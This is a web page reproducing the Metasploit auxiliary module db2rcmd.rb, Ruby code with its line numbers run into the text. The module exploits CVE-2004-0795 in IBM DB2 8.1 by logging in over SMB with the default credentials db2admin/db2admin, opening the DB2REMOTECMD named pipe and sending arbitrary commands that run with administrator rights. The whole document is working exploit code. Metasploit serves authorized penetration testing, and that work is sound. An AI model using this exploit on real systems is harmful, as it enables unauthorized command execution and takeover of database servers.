Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/db2/db2rcmd.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::SMB::Client78def initialize(info = {})9super(update_info(info,10'Name' => 'IBM DB2 db2rcmd.exe Command Execution Vulnerability',11'Description' => %q{12This module exploits a vulnerability in the Remote Command Server13component in IBM's DB2 Universal Database 8.1. An authenticated14attacker can send arbitrary commands to the DB2REMOTECMD named pipe15which could lead to administrator privileges.16},17'Author' => [ 'MC' ],18'License' => MSF_LICENSE,19'References' =>20[21[ 'CVE', '2004-0795' ],22[ 'OSVDB', '4180' ],23[ 'BID', '9821' ],24],25'DisclosureDate' => '2004-03-04'))2627register_options(28[29OptString.new('CMD', [ true, 'The command to execute', 'ver']),30OptString.new('SMBUser', [ true, 'The username to authenticate as', 'db2admin'], fallbacks: ['USERNAME']),31OptString.new('SMBPass', [ true, 'The password for the specified username', 'db2admin'], fallbacks: ['PASSWORD']),32])3334deregister_options('SMB::ProtocolVersion')35end3637def run3839print_status("Connecting to the server...")40connect(versions: [1])4142print_status("Authenticating as user '#{datastore['SMBUser']}' with pass '#{datastore['SMBPass']}'...")4344# Connect with a valid user/pass. if not, then bail.45begin46smb_login()47rescue ::Exception => e48print_error("Error: #{e}")49disconnect50return51end5253# Have it so our command arg is convenient to call.54rcmd = datastore['CMD']5556print_status("Connecting to named pipe \\DB2REMOTECMD...")5758# If the pipe doesn't exist, bail.59begin60pipe = simple.create_pipe('\\DB2REMOTECMD')61rescue ::Exception => e62print_error("Error: #{e}")63disconnect64return65end6667# If we get this far, do the dance.6869fid = pipe.file_id7071# Need to make a Trans2 request with the param of 'QUERY_FILE_INFO' keeping our file_id72trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')7374# Write to the pipe, our command length comes into play.75pipe.write([0x00000001].pack('V') + "DB2" + "\x00" * 525 + [rcmd.length].pack('V'))76# Send off our command77pipe.write(rcmd)7879# Read from the pipe and give us the data.80res = pipe.read()81print_line(res)8283# Close the named pipe and disconnect from the socket.84pipe.close85disconnect8687end88end899091